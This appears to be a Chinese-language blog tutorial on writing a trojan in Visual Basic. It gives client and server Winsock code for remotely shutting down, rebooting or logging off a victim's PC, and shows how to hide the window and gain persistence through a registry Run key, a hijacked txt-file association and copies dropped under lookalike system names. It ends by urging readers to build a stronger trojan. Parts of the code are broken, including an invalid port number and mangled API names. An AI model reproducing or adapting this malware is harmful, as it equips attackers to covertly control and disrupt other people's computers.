利用VB實現木馬攻擊

利用VB實現木馬攻擊

利用VB實現木馬攻擊

首先,新建一工程,名爲Server,新建一個窗體,Name爲Server,在窗體中加入一個winsock控件,Name設爲sckServer,協議設爲默認的TCP/IP協議。

   接下來我們回來Server窗體模塊中,添加如下代碼:

Private Sub form_Load()
  With Me
   .sckServer.LocalPort = 88917/本地端口(呵呵!我的生日!)
   .sckServer.Listen /開始監聽
  End With
End Sub

/接受客戶端的連接請求。

Private Sub sckServer_ConnectionRequest(ByVal requestID As Long)
  With Me
   If .sckServer.State <>sckClosed Then .sckServer.Close
   .sckServer.Accept (requestID)
  End With
End Sub

   下面我們來建立客戶端程序:新建一個工程,名爲Client,把窗體名爲Client,在上面加入一個winsock控件,名爲sckClient,協議爲TCP/IP協議。再加一個按鈕cmdConnect在窗體模塊中加入代碼:

Private Sub form_Load()
  With Me
   .sckClient.RemoteHost = "127.0.0.1"/設置遠程IP,本例設爲本機。
   .sckClient.RemotePort = 88917 /遠程端口,就爲server中的設置一樣.
  End With
End Sub

Private sub cmdConnect_Click()
  SckClient.Connect
End sub

   至此,單擊Connect按鈕我們的兩個工程已經可以進行通信了,但看不見,你可以在Client中的sckClient_Connect事件中加入代碼:debug.print “Connetion successful!”來查看。

   這僅是第一步,一點工作也做不了,下面我們來爲它們添加功能。爲了簡單,本文章只實現一點小小的功能―――關機,重啓,註銷。好,開始吧!

   在Server工程中新建一個模塊,Name爲modApi,這個模快爲一些API函數,添加如下API函數:

Public Declare Function ExitWindowXXX Lib "user32" Alias "ExitWindowXXX" (ByVal uFlags As Long, ByVal dwReserved As Long) As Long

Public Const EWX_LOGOFF = 0
Public Const EWX_REBOOT = 2
Public Const EWX_SHUTDOWN = 1
Public Declare Function ClipCursor Lib "user32" Alias "ClipCursor" (lpRect As Any) As Long

Public Type RECT
  Left As Long
  Top As Long
  Right As Long
  Bottom As Long
End Type

   注:在兩個socket中編程中,進行通信的重要事件是DataArrival事件,用於接收遠程數據。

   下面在Client工程的Client窗體中放入三個按鈕,分別爲cmdExit,cmdLogoff,cmdReboot。它們用於對遠程的關機,註銷,重啓操作。分別添加如下代碼:

Private Sub cmdExit_Click()
  Me.sckClient.SendData "Exit"
End Sub

Private Sub cmdLogoff_Click()
  Me.sckClient.SendData "Logoff"
End Sub

Private Sub cmdReboot_Click()
  Me.sckClient.SendData "Reboot"
End Sub

   全都是對服務端發出請求。下面轉到Server工程中:在Server中添加sckServer的DataArrial事件,接收客戶端的請求。

Private Sub sckServer_DataArrival(ByVal bytesTotal As Long)
  Dim strData As String
  With Me
   / 接收客戶請求的信息
   .sckServer.GetData strData
   Select Case strData
    Case "Exit"
     /關機
     Call ExitWindowXXX(EWX_SHUTDOWN, 0)
    Case "Reboot"
     /重啓
     Call ExitWindowXXX(EWX_REBOOT, 0)
    Case "Logoff"
     /註銷
    Call ExitWindowXXX(EWX_LOGOFF, 0)
   End Select
  End With

End Sub

   好了,到此我們已經實現功能了,但還不行,我們要它在背後運行。這簡單,在Server中的form_Load事件中加入一句:me.hide。好這下看不見了,但大家知道木馬是一開機就自動運行了,這又是爲什麼,怎麼實現的?把它加入到註冊表的啓動組中?對,不錯,跟我來吧!

   回到Server工程中的modApi中加入如下API函數:

Public Declare Function RegOpenKey Lib "advapi32.dll" Alias "RegOpenKeyA" (ByVal hKey As Long, ByVal lpSubKey As String, phkResult As Long) As Long

Public Declare Function RegSetvalueEx Lib "advapi32.dll" Alias "RegSetvalueExA" (ByVal hKey As Long, ByVal lpvalueName As String, ByVal Reserved As Long, ByVal dwType As Long, lpData As Any, ByVal cbData As Long) As Long

Public Declare Function RegCreateKey Lib "advapi32.dll" Alias "RegCreateKeyA" (ByVal hKey As Long, ByVal lpSubKey As String, phkResult As Long) As Long
Public Const REG_BINARY = 3

Public Const REG_SZ = 1

Public Const HKEY_LOCAL_MACHINE = &H80000002

Public Const HKEY_CLASSES_ROOT = &H80000000

   寫到註冊表啓動組中的過程。

Public Sub StartupGroup()

  Dim sKey As String
  Dim result As Long
  Dim hKeyID As Long
  Dim sKeyVal As String

  sKey = "Systrsy" /啓動組中的鍵,找一個與系統文件相近的。
  sKeyVal = "C:/windows/system/systrsy.exe" /木馬文件的路徑,可以用GetSystemDirectory來取得系統路徑。
  result = RegOpenKey(HKEY_LOCAL_MACHINE, _
    "Software/Microsoft/Windows/CurrentVersion/Run", hKeyID)
  If result = 0 Then
   result = RegSetvalueEx(hKeyID, sKey, 0&, REG_SZ, sKeyVal, Len(sKey) + 1)
  End If
End Sub

   好,就這樣簡單地完成了。但是,想過沒有,如果不是很菜的鳥,到註冊表中見一刪,我們苦苦的心血不就白白地浪費了嗎?不行,還得想讓他發現了刪也刪不掉。請看下面的代碼:

Public Sub WriteToTxt()

  Dim result As Long
  Dim hKeyID As Long
  Dim skey As String
  Dim skeyVal As String

  skey = "txtfile/shell/open/command"
  skeyVal = "C:/windows/system/txtView.exe"
  result = RegOpenKey(HKEY_CLASSES_ROOT, skeyVal, hKeyID)

  If result = 0 Then
   result = RegSetvalueEx(hKeyID, skey, 0&, REG_SZ, skeyVal, Len(skeyVal) + 1)
  End If
End Sub

   肯定不少朋友一看就知道了,原是與txt文件進行關聯,一點也不錯,但C:/windows/system/txtView.exe是哪裏來的,我們的木馬是C:/windows/system/systrsy.exe呀。這可是我們木馬的分身了。

   好,回到Server工程的Server窗體的form_Load中,加入如下代碼:

Dim sCurrentPath As String, sSystemDir As String
sCurrentPath = App.Path & "/" & App.EXEName & ".exe"
sSystemDir = “C:/windows/system”
On Error Resume Next

  /複製文件成系統目錄下的Systrsy.exe
  FileCopy sCurrentPath, sSystemDir & "/Systrsy.exe"
On Error Resume Next

複製文件成系統目錄下的txtView.exe

FileCopy sCurrentPath, sSystemDir & "/txtView.exe"

   調用

Call startupGroup
Call WriteToTxt

/判斷程序是否下在運行

If App.PrevInstance Then
  /如果已經運行就退出。
End

End If

   好了,寫到這裏一個破壞性木馬已經誕生了,我實驗過還是比較好的一個,希望大家也能寫一個好的木馬,能突破冰河(呵呵!)

   注意:

   1、大家在處理端口是最好使用高端端口,否則會和一些常用端口發生衝突

   2、在第一次使用VB.NET的最好看看有關的圖書,可能你能寫出一款超級木馬
 
發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章